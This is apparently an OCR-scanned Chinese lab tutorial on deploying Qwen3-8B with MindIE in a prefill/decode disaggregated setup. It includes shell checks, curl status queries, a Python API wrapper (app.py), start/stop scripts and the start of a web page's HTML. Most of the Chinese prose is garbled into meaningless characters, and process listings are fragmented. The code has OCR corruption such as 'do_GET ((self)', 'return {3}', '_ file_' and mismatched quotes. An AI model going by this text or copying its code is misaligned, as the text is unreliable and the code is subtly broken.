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# Fapail

ps -ef|grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator”|grep -v
grep|lecho "FKA&H MindIE BXiHE"

(3) /=51 PD DEMRSS
(ERSE— B A EaiRSS :

cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly

J/start_pd_all.sh

[root@worker03 pd_depoly]# ./stop _pd _all.sh
== {% 1k MIndIEPD%; & 8 % i# 12
- 3 MIndIE#R % ;

MindIEPD% & 48 % i# 12 2 [§ 32 5 M
[root@worker03 pd_depoly]# ./start_pd _all.sh

B zh Prefillzz )
E zh DecodeZt {j
E zh Controller
E zh Coordinator

Der s MIT, iF §-'1"—% A 35 7 85 1k
ZHASIRIBIN TR B4 Prefill SLfi-- > Decode SEfji-- > Controller-->Coordinator
Baife=4mk 4 NMEEX, fERT:
mindie-p.log: &% Prefill SLAIFEPRES
mindie-d.log: &%& Decode LAIFHRES
mindie-ctl.log: &% Controller &S EAFMRESEE

mindie-coor.log: &Z& Coordinator E&#A ready K&
[root@workere3 pd_depolyl# cd /mnt/class/qwen3_deploy/test_hzl/pd_depoly
./start_pd_all.sh

DecodezE {5
Controller
Coordinator
z SEWRIT.
[root@worker®3 pd depol

(4) EHERE
RSEME, FRH—RITE, BHRTUTHSESHE:

| ps -ef|grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator"|grep -v grep
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-ef|grep -E "mindi
pts/1 00:00:
pts/1
pts/1
pts/1
pts/1

2 pts/1
pts/1

Servlceidaemon\mmd\,eiumibackeﬂdlmsicontrolleﬂmsicoordmatcr"\grep
./bin/mindieservice_daemon -- e /mnt/class/qw
./bin/mindieservice_daemon -- /mnt/class /qw
./bin/mindieservice_daemon --config-file /mnt/class/qwen
./bin/mindieservice_daemon --confi
./bin/mindieservice_daemon --confi

-v grep
_deploy/test_hz1l/pd_depoly/config_|
_deploy/test_hz1l/pd_depoly/config_|
_deploy/test_hzl/pd_depoly/config_j
file /mnt/class/qwen3_deploy/test_hzl/pd_depoly/confi
file /mnt/class/qwen3_deploy/test_hz1l/pd_depoly/config_p.
./bin/mindieservice_daemon file /mnt/class/qwen3_deploy/test_hz1l/pd_depoly/config_|
./bin/mindieservice_daemon - /mnt/class/qwen3_deploy/test_hzl/pd_depoly/config_|
./bin/mindieservice_daemon fi /mnt/class/qwen3_deploy/test_hz1l/pd_depoly/config_|
./bin/mindieservice_daemon /mnt/class/qwen
./bin/mindieservice_daemon /mnt/class/qwen /pd_depoly/config_|
./bin/mindieservice_daemon /mnt/class/qwen deploy'test "hz 1/pd depoly/conf i
./bin/mindieservice_daemon lass/qwen3_deploy/test_hz1l/pd_depoly/conf i
./bin/mindieservice_daemon /class/qwen3_deploy/test_hz1l/pd_
./bin/mindieservice_daemon /mnt/dass/qw@n _deploy/test_hzl/
./bin/mindieservice_daemon _deploy/test_ ml/pd depoly/config
./bin/mindieservice_daemon n3_deploy/test_hz1/pd_depoly/confi
./bin/mindieservice_daemon /mntlclass/qun, deploy/test_hzl/pd_depoly/config_
./bin/mindieservice_daemon /mnt/class/qwen3_deploy/test_hzl/pd_depoly/config_
./bin/mindieservice_daemon /mnt/class/qwen3_deploy/test_hz1l/pd_depoly/config_
./bin/mindieservice_daemon /mnt/class/qwen3_deploy/test_hz1/pd_depoly/config_
./bin/ms_controller

2 ./bin/ms_coordinator 4 1041
91 3 / 10 /usr/bin/python3.11 /usr/lo e_1lm_backend --local_rank 0 --
--npu_ dﬂvt(ﬂ ld 1 -- 8 --shm_name

74 108 /usr/

--shm_name

00 /Jusr
--shm_nam

[root@workpro‘ pd_ dppoly]x ps

2
7
7
7
7
7
(]
(¢}
0
(]

local_world_size 1 --npu_num_p

e_Ulm_backend --local_rank © --local_world_size 1 --npu_num_p

in/python3.117/ n/mind nd --
prefix /24154_0

k ython3.11 /usr/local/bin/mindie_llm_backend -
--shm_name_prefix /24808_0

local_rank 0 --local_world --npu_num_p

-local_rank 6 --local_world_size 1 --npu_num_p

--parent_pid 2
|

Hrh, npu_device id0 37 Prefill SLAIfFimHES8E NPUO, npu_device id1 37 Decode
SLHIRIREIESEE NPUT,

(5) feEIHONMSIT
PITA T apSHaE P 35, D 3Lf5l. Controller #1 Coordinator in[I2&

# BRAELEET, AUSH 1%k, ERSHE ST
ss -Intp|grep -E "1025|1026|1027|1028]1029|1030|1040|1041|1050]1121|1122"|true

# ERERT, NEEIA RO

XXXXXX.XX:1025  # P SLHERiRO
XXXXXX.Xx:1026  # P SLAISTBixRO
XXXXXXXX:1027 # P sClistRimO
XXXXXXXx:1028  # D SEHIEHRRO
XXXX.XX.XX:1029 # D LS iRO
XX.XX.XX.XX:1030 # D SEgtRim O
XX.XX.XX.XX:1040  # Coordinator #IE A
XX.XXXX.XX:1041 # Coordinator E18ix [
XX.XX.XX.XX:1050 # ControllerHTTP i

XXXXXX.XX: 1121
XXXX.XX.XX:1122

# P SLBINERESRE

# D SEAIREREEIRO

940 104110501

unEP"

,pid=
), ("RunEP*,pi

9), ( "RunEP"
fd=9), ("mu

(6) 1&E P/D LAIBBRE

PD D EEPEBRGMY), REENWIESINEEE P/D EARPRSZEO.

# BF Prefill SLAPRZS:

curl -s http://xx.xx.xx.xx:1026/v2/status|python3 -m json.tool
# BE Decode SLHMAZ:

curl -s http://xx.xx.xx.xx:1029/v2/status|python3 -m json.tool
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IEEBRT, PEAINERE]:

[root@worker®3 ~J# curl -s http://t :1026/v2/status |python3 -m

{

"service": {
"roleStatus": "RoleReady",
“currentRole": "prefill"

}!

"resource": {
"availSlotsNum": 4,
"availBlockNum": 2621,
"waitingRequestNum": 0O,
"runningRequestNum": 0O,
"swappedRequestNum": O,
“freeNpuBlockNums": 2621,
"freeCpuBlockNums": 0,
“totalNpuBlockNums": 2621,
“totalCpuBlockNums": 0,
"totalAvailNpuSlotsNum": 4,
“totalAvailNpuBlockNum": 2621,
“"dpInstMap": [],
"maxAvailNpuBlockNum": ©

}!

"linkStatus": {
"peers": [

{
“"target": 0O,

uelen

D SEFIR &[] :

[root@worker®3 ~]# cur

{

s nttp://

"service": {
“roleStatus": "RoleReady",
"currentRole": "decode"

TS

"resource": {
"availSlotsNum": 4,
"availBlockNum": 2623,
"wailtingRequestNum":
"runningRequestNum" :
"swappedReques tNum" :
"freeNpuBlockNums " :
"freeCpuBlockNums": 0,
"totalNpuBlockNums": 2623,
“totalCpuBlockNums": 0,
"totalAvailNpuSlotsNum": 4,
"totalAvailNpuBlockNum": 2623,
"dpInstMap": [],
"maxAvailNpuBlockNum": ©

}!

“linkStatus": {
"peers": [

{
“"target": 0,
“link": "ok"

[root@worker03 ~J# i

BT, linkStatus AR BZISERIAED ok, XiBA P SLEIFN D sSLfEEmAente, HA
P/D Z[BIB{SHEKIEE

(7) #& Coordinator K&

:1029/v2/status |pyt

55981
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Coordinator 2YYMEFEAN, 27A Coordinator i ready &G, IMNRERABEEERAE
| P/D 26,

TN TS &EZE Coordinator HE:

grep -Ei "coordinatorisready|coordinatorisnotready|ready|notready|error|failed|exceptionjoom" \
/mnt/class/qwen3_deploy/test_hzl/pd_depoly/mindie-coor.log|tail -n 100

EEBRT, NEHWTHEZE: MindlE-MScoordinatorisready!!!

AR EENFIEAREEE K coordinatorisnotready, {BME/E25 /9 coordinatorisready, BFIEEM
%, [REZE Coordinator EE%4F Controller EEZ P/D SLHPRESREIZ .

lonn«ll MindIE-MS coordinator is

[Controll
[Controll
[Controll
[Controll
[Controll
[c

[ControllerL
[c llerL

[ControllerLi MindIE-MS coor or is ready!!!

(8) BEshpItmt
HUTHRESIHEN, TLUAK PD DBEIRS S5

KEIN EIARE
PrefillSEl BHETFE, 1%01025/1026/1027/1121 40
Decode3Lfl BHETFE, 1%1028/1029/1030/1122450r
Controller BHIEFE, IR 1050850
Coordinator BHETF(E, 1%1040/1041 450
PSEEIMAZS RoleReady/prefill
DSLANAZS RoleReady/decode
P/D$ERE link=ok
CoordinatorHi& HEIMindIE-MScoordinatorisready!!!
RimiHiE NPUOFINPU 198G mindie_llm_backendi#f2

$£I 11 PD HEIEFKIGIE

55hk PD D ERSBE1E, 181Z Coordinator Zi— NO&IEHEIEIFRK, EIE Qwen3-
8BW8AS8 %4%¢;i%§ﬁ‘éﬂzm%ﬁﬁzﬁﬁ FEFR, PD oEEEBERT, INBEKRFERE
i8] Prefill S£f5ak Decode S5, ME4E—iia)] Coordinator BYHEIRIR .

ALLEH, Coordinator #HEIEALOWIT: http://xx.xx.xx.xx:1040/v1/chat/completions
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(1) REHEEER
HfTa0 T as<, @i Coordinator NO&IX OpenAl FRESIUAIHEERERK, FRHTHRzltaL:

curl -s'\
-H "Accept: application/json" \
H "Content-type: application/json" \
-X POST \
-d{
"model": "Qwen3-8B",
"messages": [

{

"role": "user",
"content™: "/no_think iERA—@iFRAE: KEEHIEFRAY PD HEEPE IS Prefill #1 Decode S EED

}
1

"stream": false,

"ignore_eos": false,

"temperature": 0.3,

"top_p": 0.8,

"max_tokens": 64
P\
http://xx.xx.xx.xx:1040/v1/chat/completions | python3 -c"'
import sys,json,re
data=json.load(sys.stdin)
content=data["choices"][0]["message"]["content"]
content=re.sub(r"<think>.*?</think>\s*","",content,flags=re.S).strip()
usage=data.get("usage",{})
decode_arr=data.get("decode_time_arr",[])
print("===== W8A8 £{1&E! PD N EINEENIK =====")
print("t&8):" data.get("model"))
print("KZE BRI
print("[E&:", content)
print("#I tokens:",usage.get("prompt_tokens"))
print("#iH tokens:",usage.get("completion_tokens"))
print("3 tokens:",usage.get("total_tokens"))
print("prefill_time:",data.get("prefill_time"))
print("decode_tokens:",len(decode_arr))
if decode_arr:

print("avg_decode_time:",round(sum(decode_arr)/len(decode_arr),2))

ARG HPAIIGIEERINT :

avg_decode time
[root@worker3 ~1# l

MERALIER, BKE&@id Coordinator BINR[E], ERIEEIEIEFEEMEIE, HEIREIZE
RFE S prefill_time 1 decode_time_arr IBXHIHER . XiRBIHBIIRS AN 7 EO%K
EA, tHAEISIEEHI{T Prefill 1 Decode FER
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(2) NPU B7F 5
AT TS EE NPU EFE SR npu-smi info

[root@worker03 ~J]# npu-smi infc

npu-smi 25.5.1

Power(Ww) Hugepages -Usage(page) |
AICore(% - HBM-Usage(MB) |

60715/ 65

Ftt, ASCIEIEIET Qwen3-8BWBA8 EMEEIRTLITE MindIE EEHXN-K 1P1D &1 PD &
EPBIRT FSeRIEIEINENNE . HEUERE A, Prefill SLAIE1T7E NPUO £, Decode SLHETT
7£ NPU1 L, Coordinator j&iT xx.xx.xx.xx:1040 IH9MEMFE—HEIENC

5.3 LG/

ALRETHIFER SR ERAI Qwen3-8BW8A8 EVIETY, 8L T MindIE B
1P1D Fzh PD oEERE. sLia{ER NPUO {EJ9 Prefill &5, {5F NPU1 {EJ9 Decode 3£
3, &8 Controller 525 P/D LHIFBEIEFMIASEL, &Y Coordinator XI7MEMtFE—HETE
A0, REEDRESEO, #2E. wmOE. Coordinator HEFHEEIERIGIE, RIAZEX
HEEUEILATE PD R FEmIE R,

M‘E‘B%iﬁﬁig AL OETIERELEIRSSE5UVSS IP. NPUHCCNIP, P/D fR$SimO. PSR
BEmOMEEREREZE, Hp, RSEWSS IP BF PLHl. DLfl. Controller #1 Coordinator
ZARYARSSIE(S; NPUHCCNIP FBF P/D LIz [BREREHEKIE(S, globalranktable fassiid

A PD DENBHLBRIRXER,; config_p.json # config_d.json BIENX Prefill SEAIF0

Decode SLAIRRELERIZ. NPU 48EF0IRSS %O ; ms_controllerjson #1 ms_coordinator.json

SRR TAEEENEKEAE.

ALWIIEIEF, ERXETUTER:

IEVIEIR IFER i5EA
PrefillsLf) RoleReady/prefill PSLBIE LN B SaPrefill e
D % Decod
DecodeSLfl RoleReady/decode é;k{ﬁJE',EZJJ #EEfbecodefs
Prefill¥1Decod =5k
P/DEEE linkStatus=ok refiltiiDecode 2 IAESHES
=
Coordinatorik7s Mind|E- _ , S—HEIEANOEHME

MScoordinatorisready!!!

ISk 1BRAEINIR[E] 1EBYPRSS alE@id Coordinatorse
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B HETER
BERIRSE WSASEIERIFF P/DELAIIINNE S (LT
NPU4RE P:NPUO, D:NPU1 LI BIS4REARREBINPU

BEASLREILAEEI, PD S BEHEFEERMEIRMEEIRS, MEsEtiERHARX
95 Prefill SC5IF0 Decode L5, Fi&@iZ Controller 1 Coordinator EpAEEESIEREE.
RE PsLffl. DSLffl. Controller 1 Coordinator £EBIEE S, 7B P/D AEIRE. HHE
RZ&H0 Coordinator IAIYMIEEISfE, 488N PD D EEERKII.

AL ERETERL T Qwen3-8BW8SA8 EIRELE MindIE B4R 1P1D &=\ FAITHREIRIE. 1%
STIWHEERBUEIE. FHRERNK., KRBAGRMAHAZ P2 DY ETRM 7EM, FLL
MRFEH—DTIEFAEFMEES, oILAES P/D Lbl. batch £, KVCache BE. BEXKAER
BEFNZ Y BA L.

5.4 BEEIR

BEW 1 EALEA, ATAINISEEEKFEHE Coordinator 89 1040 ixH, MARE
#Einia) Prefill SE5IAY 1025 ik Decode SLEIAY 1028 i%M?

SEZLZ: £ PD o BERES, Prefill SEAIF0 Decode SEFI BIFIBARRIHIEMER, ABIER
SEEAGIRATHETR N CIXIIMEMARSS . Coordinator fAESIZIAMERIESR, FHRIE Controller 4P
AY P/D SLHMAZS, BiakiAEZ Prefill SL4IF0 Decode SLBIHEITAIEIRE . [ELL, FMERIEK
M 2%—1)318) Coordinator BY 1040 i,

WNRBEZHIE) P sLfgl D 3L, AIEeTiESemkeEAY PD AERIZ. P LAIFE LA Prompt
FUEZEH0 KVCache %pE, D SEAIEERFRETF KVCache 171X Token fEi3, “&HFEH
Coordinator —%wHE. FL, 518 Coordinator 2ITIIE PD D EIRSZ EA A FRIXHE .
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6 e A

6.1 LIS/ M8

6.1.1 KXF AL

AREIRS U ELEERIF PD D EEPELRAIEM EMEEFFRE, T£28 MindlECoordinator Z E
1EIN—ERE APl BRSSF0 Web [91ZTRE . ZNERHEIRAIT:

FAPNIEEE/ SRS

|

v

2 APl RS5xx.xx.xx.xx:18080

|

v
MindIlECoordinator:xx.xx.xx.xx:1040

v
PD 4 ESHHBHEER

|

+-->Prefill SZI:NPUO

|
+-->Decode SCf5I:NPU1

6.1.2 LG HAY
BEALY, FRESIEMRIEEISTH PD ﬁ\%E‘B%F AMaE—ERIIMRMENEAME .. aIER.
A EERkRYNLSS API IRSS, FEIRALNE, FRAILL:
o IBAENISSE/API HEQ/MdeECoordmator/PD > EHIESLB 2 BRTEAREXER
o ERET Python FRERESLIVERE HTTP AP RS
o ZIRRFIRERIZIE
o EiR Web TUmEIEAM/api/chat #O5SRkIEIZ

6.1.3 SCIGRIX!
AEENBAN LSRRG —E D, FiEpEEWw . HENAF] PD £EEPBLR
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1 HaA PD DERSRES

IRSZCILikE F—EEL BRI PD D ERS . Fltt, A APl IRSHEI, TE5THHIA
P S5, D S£fg). Controller ¥ Coordinator 1}3f>?isIE““‘_ﬁo BTSS!

REUEIR AR E LR 25104

cd /mnt/class/qwen3_deploy/test_hzl

echo "===== 1148 PD DBIEXHIE ====="
ps -ef|grep -E "mindieservice_daemon|mindie_llm_backend|ms_controller|ms_coordinator"|grep -v grep

echo "=====2. *‘AE P *{ﬁ]ﬁlu\ ====="
curl -s http://xx.xx.xx.xx:1026/v2/status|python3 -m json.tool

echo
echO gE=====J *\Aﬁ D 7&1&]'{*&:\ ===="
curl -s http://xx.xx.xx.xx:1029/v2/status|python3 -m json.tool

echo "===== 4§& Coordinator k7 ====="
grep -Ei "coordinator is ready|coordinatorisready|ready|notready|error|failed|exception” \
/mnt/class/qwen3_ deploy/test hzl/pd_ depoly/mlndle coor.log|tail -n 50

’076 05- ¥E 5 [ms] [ [ControllerListener. :137] : MindIE-MS coordu 1s ready!!!
[ ControllerListe - : MindIE-MS coordina

ControllerLt . 3 : MindIE-MS coordina

ControllerLi 2 - : MindIE-MS coordina

: MindIE-MS coordu
MindIE-MS coordi
-MS coordina
-MS coordinat
C . -MS coordiu
ControllerLi . 1 -MS coordi
Controlle - T MU -MS coordina

[ [ControllerListener.cpp : MindIE-MS coordinator ea

[ [1 ] [ControllerListener.cpp MindIE-MS coordinator 1
ZID% PD S ERIRAIE, TREERHARSHHL . NELOEISE S5 &, FHRE PD ﬁj\
%%/L‘;\o

T2 CIERSHILRER
BRSSSCECERIMBIFE api_service B, 5 PD D BEEEFEDH, BEFREHIFE,

mkdir -p /mnt/class/qwen3_deploy/test_hzl/api_service
cd /mnt/class/qwen3_deploy/test_hzl/api_service

# BRI

api_service/
——app.py # 128 AP [RE 2R
F——index.html # Web |9 RMH
——start_api.sh # AP| IRSSBEhIA
——stop_api.sh # AP fRSZ{= LRI

L——api_service.log # APl IRSSIE1THE
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ARLIGRA E—E PD S EEPELEHAIEIS MindIE B8, HTAR0IZBINER(FER--
net=host MBZEL,, BERSBEINHEEZ=MEGRZTE, BAFTESHOERSE, BLAFE
240 Docker Ux[BREY, RE APl BRSZ U4 0.0.0.0:18080, Blal@idIRSZ 28 ISZ IP iA5i0):

http://xx.xx.xx.xx:18080,
B0 AP BRS5R1, AILASR—"&in, ERGSR NEIROSEH®AA:

| ss -Intp|grep 18080||echo "18080 x5, BILMER. "

B 3 RERE AP RSBIER

ANELIS{EFE Python FRERESCINERE HTTPAPI BRSS, FERIMNREE FastAPl, Uvicorn S{&Ef,
RESLIAEMEZE ., APl R EI2MHIMMEO:

0 Bix Em
/ GET IR[E]Weba) & RHE
/health GET KMEAPIRSZSEBIER

/backend/health GET f&EMindIECoordinatorE & ali5(a)

/api/chat POST | WSSiaEiEO, AEMEAZIPDSBERERIRENRSS

app.py FRIEHRECEUNT:

SERVICE_NAME="qwen3-pd-api-service"
MODEL_NAME="Qwen3-8B"
BACKEND_URL="http://xx.xx.xx.xx:1040/v1/chat/completions"
HOST="0.0.0.0"

PORT=18080

TIMEOUT=180

# SSHERUT

SERVICE_NAME: HgEiIERSS{L APl ZFR

MODEL_NAME: [Si MindIE JRSS-PHIEEIZ TR
BACKEND_URL: PD & f5ix Coordinator Ot
HOST: API BRSSWaIfitEhE, €& 0.0.0.0 EFSMERIAIE
PORT: API RSB iE0TIHA, ANSCIG{ER 18080
TIMEOUT: [RimiEsRiBadHSE

API fg5518] MindIECoordinator #&153KEY, 1SR IRBEE I TFER:

payload={
"model":MODEL_NAME,
"messages":[
{
"role":"user",
"content":"/no_think "+SYSTEM_PREFIX+"\n\n FHF[aIgk: "+query

}
1

"stream":False,
"ignore_eos":False,
"temperature":temperature,



http://10.175.221.8:18080/
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"top_p":top_p,
"max_tokens":max_tokens

}

5106

[EimREZERF, APl IRSSAREUREIEIZ: . Token Sti+#0 PD T2 R:

return {

"status":"success",

"service":SERVICE_NAME,

"backend":BACKEND_URL,

"model":data.get("model",MODEL_NAME),

"answer":answer,

"usage":{
"prompt_tokens":usage.get("prompt_tokens"),
"completion_tokens":usage.get("completion_tokens"),
"total_tokens":usage.get("total_tokens")

h

"performance":{
"prefill_time":data.get("prefill_time"),
"decode_tokens":len(decode_arr),
"decode_total_time":decode_total_time,
"avg_decode_time":avg_decode_time,
"api_elapsed_ms":elapsed_ms

}

Hrh, prefill_time FBFWER Prefill fYEFERT, decode_tokens #[1 avg_decode_time FHFWE

Decode FYERERLIZFE, api_elapsed_ms FHFMERARZ 4 ERViREimE BFERT .
SEASHFNBUT: app.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json

import os

import re

import time

import traceback

import urllib.request

import urllib.error

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

SERVICE_NAME = "qwen3-pd-api-service"

MODEL_NAME = "Qwen3-8B"

BACKEND_URL = "http://xx.xx.xx.xx:1040/v1/chat/completions"
HOST = "0.0.0.0"

PORT = 18080

TIMEOUT = 180

BASE_DIR = os.path.dirname(os.path.abspath(_ file_ ))
INDEX_FILE = os.path.join(BASE_DIR, "index.html")

SYSTEM_PREFIX = (
RRAEEHHEIEF . XEAY PD DEISTEAREIEIRPAY Prefill #1 Decode DEEE,

"NEHIERE . NFAZRMEE USRI PD X BRI, EEEEH. BiE. maIESLE, "
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def json_response(handler, status_code, data):
body = json.dumps(data, ensure_ascii=False, indent=2).encode("utf-8")
handler.send_response(status_code)
handler.send_header("Content-Type", "application/json; charset=utf-8")
handler.send_header("Access-Control-Allow-Origin", "*")
handler.send_header("Access-Control-Allow-Methods", "GET,POST,OPTIONS")
handler.send_header("Access-Control-Allow-Headers", "Content-Type")
handler.send_header("Content-Length", str(len(body)))
handler.end_headers()

handler.wfile.write(body)

def html_response(handler, status_code, html_text):
body = html_text.encode("utf-8")
handler.send_response(status_code)
handler.send_header("Content-Type", "text/html; charset=utf-8")
handler.send_header("Content-Length", str(len(body)))
handler.end_headers()
handler.wfile.write(body)

def read_json_body(handler):
content_length = int(handler.headers.get("Content-Length", 0))
if content_length <= 0:
return {3}
raw = handler.rfile.read(content_length)
return json.loads(raw.decode("utf-8"))

def clean_answer(text):

if not text:

return

text = re.sub(r"<think>.*?</think>\s*", "", text, flags=re.S).strip()
return text

def call_mindie_chat(query, max_tokens=128, temperature=0.3, top_p=0.8):
user_content = "/no_think " + SYSTEM_PREFIX + "\n\n FBF&JgX: " + query

payload = {
"model": MODEL_NAME,
"messages": [
{
"role": "user",
"content": user_content
}
1,

"stream": False,
"ignore_eos": False,
"temperature": temperature,

"top_p": top_p,
"max_tokens": max_tokens

510731
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req = urllib.request.Request(
BACKEND_URL,
data=json.dumps(payload, ensure_ascii=False).encode("utf-8"),
headers={
"Accept": "application/json",
"Content-Type": "application/json"
}
method="POST"
)

start = time.time()

with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
resp_body = resp.read().decode("utf-8")

elapsed_ms = round((time.time() - start) * 1000, 2)

data = json.loads(resp_body)

choices = data.get("choices", [])
answer =""
if choices:
answer = choices[0].get("message", {}).get("content”, "")

answer = clean_answer(answer)

usage = data.get("usage", {})
decode_arr = data.get("decode_time_arr", [])

avg_decode_time = None

decode_total_time = None

if decode_arr:
decode_total_time = round(sum(decode_arr), 2)
avg_decode_time = round(sum(decode_arr) / len(decode_arr), 2)

return {

"status": "success",

"service": SERVICE_NAME,

"backend": BACKEND_URL,

"model": data.get("model", MODEL_NAME),

"answer": answer,

"usage": {
"prompt_tokens": usage.get("prompt_tokens"),
"completion_tokens": usage.get("completion_tokens"),
"total_tokens": usage.get("total_tokens")

b

"performance": {
"prefill_time": data.get("prefill_time"),
"decode_tokens": len(decode_arr),
"decode_total_time": decode_total_time,
"avg_decode_time": avg_decode_time,
"api_elapsed_ms": elapsed_ms

%1083
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class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
print("[%s] %s" % (self.log_date_time_string(), fmt % args), flush=True)

def do_OPTIONS(self):
self.send_response(204)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Methods", "GET,POST,OPTIONS")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()

def do_GET ((self):
if self.path =="/" or self.path == "/index.html":
try:
with open(INDEX_FILE, "r", encoding="utf-8") as f:
html_response(self, 200, f.read())
except Exception as e:
html_response(self, 500, "<h1>index.html INEELMI</h1><pre>%s</pre>" % str(e))
return

if self.path == "/health":
json_response(self, 200, {
"status": "ok",
"service": SERVICE_NAME,
"listen": f"{HOST}:{PORT}",
"backend": BACKEND_URL
)

return

if self.path == "/backend/health":
try:
result = call_mindie_chat("i5R[E% ok", max_tokens=16, temperature=0.1, top_p=0.8)
json_response(self, 200, {
"status": "ok",
"service": SERVICE_NAME,
"backend": BACKEND_URL,
"backend_result": result.get("answer", "")
b
except Exception as e:
json_response(self, 502, {
"status": "error",
"service": SERVICE_NAME,
"backend": BACKEND_URL,
"message": str(e)
b

return

if self.path == "/favicon.ico":
self.send_response(204)
self.end_headers()
return

json_response(self, 404, {
"status": "error",
"message": "not found",
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"path": self.path

def do_POST (self):
if self.path != "/api/chat™:

try:

json_response(self, 404, {
"status": "error",
"message": "not found",
"path": self.path

)

return

req = read_json_body(self)

query = str(req.get("query", "")).strip()
if not query:
json_response(self, 400, {
"status": "error",
"message": "query NEEAZ"
)

return

max_tokens = int(req.get("max_tokens", 128))
temperature = float(req.get("temperature", 0.3))
top_p = float(req.get("top_p", 0.8))

if max_tokens <= 0 or max_tokens > 1024:
json_response(self, 400, {
"status": "error",
"message": "max_tokens ZIUKETE 1 8 1024 Z|g"
b

return

if temperature < 0 or temperature > 2:
json_response(self, 400, {
"status": "error",
"message": "temperature UK ETE 0 ) 2 Z[&"
})

return

if top_p <=0 or top_p > 1:
json_response(self, 400, {
"status": "error",
"message": "top_p EBGZETE 0 F 1 ZE"
)

return

result = call_mindie_chat(
query=query,
max_tokens=max_tokens,
temperature=temperature,
top_p=top_p

)

json_response(self, 200, result)

%1103
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except urllib.error.URLError as e:
json_response(self, 502, {
"status": "error",
"message": " MindIECoordinator ArJifa]",
"backend": BACKEND_URL,
"detail": str(e)
)
except Exception as e:
json_response(self, 500, {
"status": "error",
"message": "API f[REZARIZE",
"detail": str(e),
"traceback": traceback.format_exc()

b))

if _name__=="__main_":
server = ThreadingHTTPServer((HOST, PORT), Handler)
print(f"{SERVICE_NAME} started at http://{HOST}:{PORT}", flush=True)
print(f"backend: {BACKEND_URL}", flush=True)
print(f"web page: http://xx.xx.xx.xx:{PORT}/", flush=True)
server.serve_forever()

4  BIEBINFIZLIERIA
(1) BIFEBEhEIZ start_api.sh:

cd /mnt/class/qwen3_deploy/test_hzl/api_service

cat > start_api.sh <<'EOF'
#!/bin/bash
set -e

cd /mnt/class/qwen3_deploy/test_hzl/api_service

echo "===== 18 18080 iK[] ====="

ss -Intp|grep 18080&&{
echo "18080 iwOE# 5, BT stop_api.sh By E xR, "
exit 1

Hitrue

echo "===== |3z Qwen3PD BBt APl ====="
nohup python3 /mnt/class/qwen3_deploy/test_hzl/api_service/app.py \
> /mnt/class/qwen3_deploy/test_hzl/api_service/api_service.log 2>&1 &

sleep 2

echo "===== API| [REZHIE ====="
ps -ef|grep "api_service/app.py"|grep -v grepl||true

tail -n 20 /mnt/class/qwen3_deploy/test_hzl/api_service/api_service.log
EOF
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(2) BUE{=LERIA stop_api.sh:
cat > stop_api.sh <<'EOF'
#!/bin/bash
echo N 1%_”: QWen3PD HE%{‘Z AP| ====="
ps -ef|grep "api_service/app.py"|grep -v greplawk '{print $2}'|xargs -r kill -9
echo N 1%_”:)%*@? ===
ps -ef|grep "api_service/app.py"|grep -v grep||lecho "API fRSSE(SLE"
EOF
(3) NIIRATAR
| chmod +x start_api.sh stop_api.sh
BRI ARIERRICE 18080 inAREW G, FLASEHLEE) app.py. FIEHIARTE
HXE AP R3S, BTFREFEI.
£S5 g1t Web [BIZRE

AT EFREERNLIEE, ALIRRM—EIEM Web IR index.html, WHAFAERE
ZURYIRES JSON, AR EZTEARE, RIRBIRSHERPHRXIBEIER . REAEbiE
731 http://xx.xx.xx.xx:18080/

TREETNSSE fetch JEZA M APl 1200:

const data=await fetchJson("/api/chat" {
method:"POST",
headers:{
"Content-Type":"application/json"
%
body:JSON.stringify ({
query:query,
max_tokens:maxTokens,
temperature:temperature,
top_p:topP
b
D,

TERITERXT: BPEKHEAS APl BRSSE, S &% PD 5EERY Coordinator, 3
REWERIEIZ AN Prefill/Decode tBXIE R

SSEERY html SXEE0T:

<IDOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
<title>Qwen3-8BPD £ BEARSZ(LIaIE RESi</title>
<style>
“A{
box-sizing: border-box;

}

body {
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margin: 0;
font-family: "Microsoft YaHei", Arial, sans-serif;
background: #f4f6fb;
color: #1f2937;
)

.page {
max-width: 1100px;
margin: 0 auto;
padding: 24px;

)

.header {
background: #ffffff;
border-radius: 14px;
padding: 18px 20px;
box-shadow: 0 4px 14px rgba(0,0,0,0.06);
margin-bottom: 16px;

}

.header h1 {
margin: 0 0 8px;
font-size: 24px;

}

.header p {
margin: 0;
color: #6b7280;
line-height: 1.6;
font-size: 14px;

}

.panel {
background: #ffffff;
border-radius: 14px;
padding: 18px;
box-shadow: 0 4px 14px rgba(0,0,0,0.06);
margin-bottom: 16px;

}

.info-grid {
display: grid;
grid-template-columns: repeat(8, 1fr);
gap: 10px;

}

.info-item {
background: #f9fafb;
border: 1px solid #e5e7eb;
border-radius: 10px;
padding: 10px;
text-align: center;

}

.info-item .label {

%1131
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color: #6b7280;
font-size: 12px;
margin-bottom: 5px;

}

.info-item .value {
font-size: 16px;
font-weight: 700;
color: #111827;
word-break: break-all;

}

.ok {
color: #047857 limportant;

}

.error {
color: #dc2626 limportant;

}

.param-grid {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 10px;
margin-top: 12px;
}

.param-item {
background: #f9fafb;
border: 1px solid #e5e7eb;
border-radius: 10px;
padding: 10px;

}

.param-item label {
display: block;
font-size: 12px;
color: #6b7280;
margin-bottom: 6px;

}

.param-item input {
width: 100%;
height: 34px;
border: 1px solid #d1d5db;
border-radius: 8px;
padding: 0 8px;
font-size: 14px;
outline: none;

}

.param-item input:focus {
border-color: #4f46e5;
}

1143
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.note {
margin-top: 8px;
color: #6b7280;
font-size: 12px;
line-height: 1.6;

)

.main {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 16px;

}

h2 {
margin: 0 0 12px;
font-size: 17px;

}

textarea {
width: 100%;
height: 250px;
resize: vertical;
border: 1px solid #d1d5db;
border-radius: 10px;
padding: 12px;
font-size: 15px;
line-height: 1.7;
outline: none;

}

textarea:focus {
border-color: #4f46e5;

}

.answer {
min-height: 250px;
white-space: pre-wrap;
line-height: 1.8;
background: #f9fafb;
border: 1px solid #e5e7eb;
border-radius: 10px;
padding: 12px;
